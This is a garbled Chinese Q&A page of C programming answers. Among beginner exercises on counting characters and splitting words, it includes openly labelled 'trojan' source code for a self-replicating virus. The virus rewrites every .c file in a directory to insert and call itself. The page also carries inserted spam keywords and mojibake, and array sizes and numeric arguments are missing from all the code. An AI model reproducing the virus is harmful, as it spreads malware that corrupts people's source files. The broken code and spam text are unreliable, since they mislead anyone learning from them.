1.fgetsԴ??
2.用c语言编程,对输入的一行字符进行统计分析,要求统计并输出出现的数字字符及其个数(用冒号分隔)
3.c语言木马源代码
4.c语言,输入一句英语,把单词分别输出后换行。pach请求源码 如 输入 thank you 输出 thank yo?
fgetsԴ?cms源码分析?
C代码和运行结果如下:统计结果正确,望采纳~
附源码:
#include <stdio.h>
int main() {
char s[];
fgets(s, , stdin); // 输入一行字符,包括行尾的'\n'
int i = 0, upper = 0, lower = 0, space = 0, digit = 0, other = 0;
while (s[i] != '\n') {
if (s[i] >= 'A' && s[i] <= 'Z')
upper++;
else if (s[i] >= 'a' && s[i] <= 'z')
lower++;
else if (s[i] == ' ')
space++;
else if (s[i] >= '0' && s[i] <= '9')
digit++;
else
other++;
i++;
}
printf("大写字母:%d, 小写字母:%d, 空格:%d, 数字:%d, 其他:%d\n",
upper, lower, space, digit, other);
return 0;
}
用c语言编程,对输入的一行字符进行统计分析,要求统计并输出出现的数字字符及其个数(用冒号分隔)
C代码和运行结果如图:输出符合样例,望采纳~
附源码:
#include <stdio.h>
int main() {
char s[]; // 输入不超过字符
int i = 0, cnt[] = { 0}; // 0-9每个数字字符个数统计
fgets(s, , stdin); // 读入一行字符,包括换行符'\n'
while (s[i] != '\n') { // 遇到换行即到结尾,改成空字符'\0'也可以
if (s[i] >= '0' && s[i] <= '9') // 数字字符
cnt[s[i] - '0']++; // 统计对应字符个数
i++;
}
for (i = 0; i < ; i++) { // 输出出现的北上资金源码数字字符个数
if (cnt[i] > 0)
printf("%d: %d\n", i, cnt[i]);
}
return 0;
}
c语言木马源代码
#include <stdio.h>
#include <dir.h>
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[][];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={ "stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",&ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i>=)
{
fclose(in);
goto next;
}
p=fgets(buf[i],,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#include<stdio.h>\n",out);
fputs("#include<dir.h>\n",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
for(;j<i-1;j++)
if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
{
if(flag==0)
{
flag=1;
fputs("virus();\n",out);
}
fputs(buf[j],out);
}
}
else if((strstr(buf[j],include[0])==NULL)
&&(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(j<i-1);
read=fopen(virus,"rt");
do
{
p=fgets(buffer,,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
}
p=fgets(buffer,,read);
}
}while(p!=NULL);
fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(&ffblk);
}
return 0;
}
严重声明:这个程序只是供C语言新手参考,开玩笑没关系,但如果用来做不法的事情,本人概不负责。还有,etc升级源码编病毒、木马去做违法的事情惩罚是很重的,你如果想学编程,编个简单的nfc仿真源码就好了,否则后果很严重。
c语言,输入一句英语,把单词分别输出后换行。 如 输入 thank you 输出 thank yo?
C代码和运行结果如下:提取出纯字母组成的单词并换行输出,结果符合题意,望采纳~
附源码:
#include <stdio.h>
int isAlpha(char c) { // 判断是否是字母
if ((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z'))
return 1;
return 0;
}
int main() {
char s[] = { '\0'}; // 保存输入的一句英文
fgets(s, , stdin); // 读入一行字符串,包括结尾的'\n'
int i = 0;
while (1) {
while (s[i] != '\0' && !isAlpha(s[i]))
i++; // 跳过非字母字符,注意'\0'要单独判断以跳出循环
if (s[i] == '\0') break;
while (isAlpha(s[i]) == 1) {
printf("%c", s[i]); // 输出连续的字母,即单词
i++;
}
printf("\n"); // 否则换行,接着输出下个单词
}
return 0;
}